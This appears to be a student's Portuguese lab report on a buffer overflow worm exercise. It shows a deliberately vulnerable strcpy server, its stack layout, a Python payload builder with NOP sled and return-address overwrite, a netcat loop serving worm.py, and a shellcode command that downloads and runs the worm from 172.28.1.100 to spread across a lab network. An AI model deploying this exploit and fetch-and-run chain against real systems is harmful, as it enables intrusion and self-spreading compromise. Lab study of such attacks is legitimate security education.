



Nome: Randerson Araújo de Lemos
RA: 103897

Análise da Pilha de Memória com GDB/GEF

Antes da implementação da técnica de invasão, o binário vulnerável (alvo_vulneravel/server.c) foi submetido a uma análise dinâmica utilizando o GDB com o plugin GEF. O objetivo foi confirmar experimentalmente o comportamento da função `strcpy` e sua interação com o *saved RBP* e o endereço de retorno.

O Código Vulnerável

```
C/C++
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void bof(char *str) {
    char buffer[50];

    // --- (Info Leak) ---
    printf("[INFO LEAK] O endereco real do buffer eh: %p\n",
(void *)buffer);
    fflush(stdout);

    strcpy(buffer, str);
    printf("Mensagem copiada!\n");
}

int main() {
    char input[500];
```

```

printf("Servidor iniciado. Aguardando entrada...\n");
fflush(stdout);

if (read(STDIN_FILENO, input, 500) > 0) {
    bof(input);
}

return 0;
}

```

A vulnerabilidade decorre da utilização da função `strcpy`, que não valida o tamanho dos dados de entrada. Embora o buffer possua apenas 50 bytes, o `input` (recebido via `socket`) pode chegar a 500 bytes. Isso permite a manipulação arbitrária da pilha, excedendo os limites de alocação.

Layout do *Frame* e Confirmação Experimental

A análise de *disassembly* permitiu mapear o seguinte layout na pilha:

Endereço Relativo	Conteúdo	Tamanho
<code>rbp-0x40</code>	<code>buffer[0..49]</code>	50 bytes
<code>rbp-0x0e</code>	<i>Padding/Alinhamento</i>	14 bytes
<code>rbp+0x00</code>	<i>Saved RBP</i>	8 bytes
<code>rbp+0x08</code>	<i>Saved Return Address</i>	8 bytes

A função `strcpy` escreve sequencialmente, permitindo a sobrescrita do *padding*, do *saved RBP* e do endereço de retorno. O cálculo do *offset* para o endereço de retorno foi definido em 72 bytes. Os primeiros 72 bytes do *payload* atuam como um *NOP sled*, enquanto os 8 bytes subsequentes (72 a 79) reescrevem o endereço de retorno.

Implementação do Cálculo de *Offset*

A função `getFile()` constrói o *payload* conforme a lógica abaixo:

Python

```
def getFile(bufaddr, shellcode):
    OFFSET = 72
    INPUT_OFFSET_FROM_BUFFER = 0x50
    SHELL_START = 100

    content = bytearray(0x90 for _ in range(500))
    content[SHELL_START:SHELL_START + len(shellcode)] = shellcode

    input_addr = bufaddr + INPUT_OFFSET_FROM_BUFFER
    ret = input_addr + 80

    content[OFFSET:OFFSET + 8] = ret.to_bytes(8,
byteorder="little")
    return content
```

Parâmetros:

- **OFFSET = 72:** Distância entre o início do buffer e o endereço de retorno.
- **INPUT_OFFSET_FROM_BUFFER = 0x50:** Deslocamento entre buffer e input.
- **SHELL_START = 100:** Início do *shellcode*, precedido por um *NOP sled*.
- **bufaddr:** Endereço real do buffer obtido via vazamento de informação (*Info Leak*).

Realização do Ataque

O ataque foi estruturado em duas etapas fundamentais. Primeiramente, estabeleceu-se um servidor de arquivos para disponibilizar o script `worm.py`. O servidor foi configurado para escutar conexões na porta 8080 e enviar o código do worm automaticamente mediante requisição, operando através do seguinte comando:

Shell

```
while true; do nc -lnvp 8080 < worm.py; done
```

Em seguida, o script de ataque principal foi executado, sorteando alvos na rede (faixa 172.28.[1-5].[10-14]) para a propagação automática.

Python

```
def getNextTarget():
    terceiro_octeto = randint(1, 5)
```

```
quarto_octeto = randint(10, 14)
ip_sorteado = f"172.28.{terceiro_octeto}.{quarto_octeto}"
return ip_sorteado
```

A técnica de invasão consiste nas seguintes ações:

- 1. Identificação do endereço da variável input via vazamento de memória (Info Leak).
- 2. Construção do payload com o endereço de redirecionamento calculado dinamicamente.
- 3. Sobreescrita do endereço de retorno para desviar o fluxo de execução para o shellcode.

O shellcode executa a criação do arquivo infectado.txt, recupera o worm via backdoor e reinicia o ciclo de propagação.

Python

```
payload = "(echo 'true' > infectado.txt ; nc -w3 172.28.1.100  
8080 < /dev/null > worm.py ; python3 worm.py > out.txt) <  
/dev/null > /dev/null 2>&1 &"  
shellcode = create_hex_command(payload.encode())
```

A seguir, apresentamos três imagens que documentam a evolução do ataque, exibindo o estado dos sistemas vítimas em diferentes estágios:



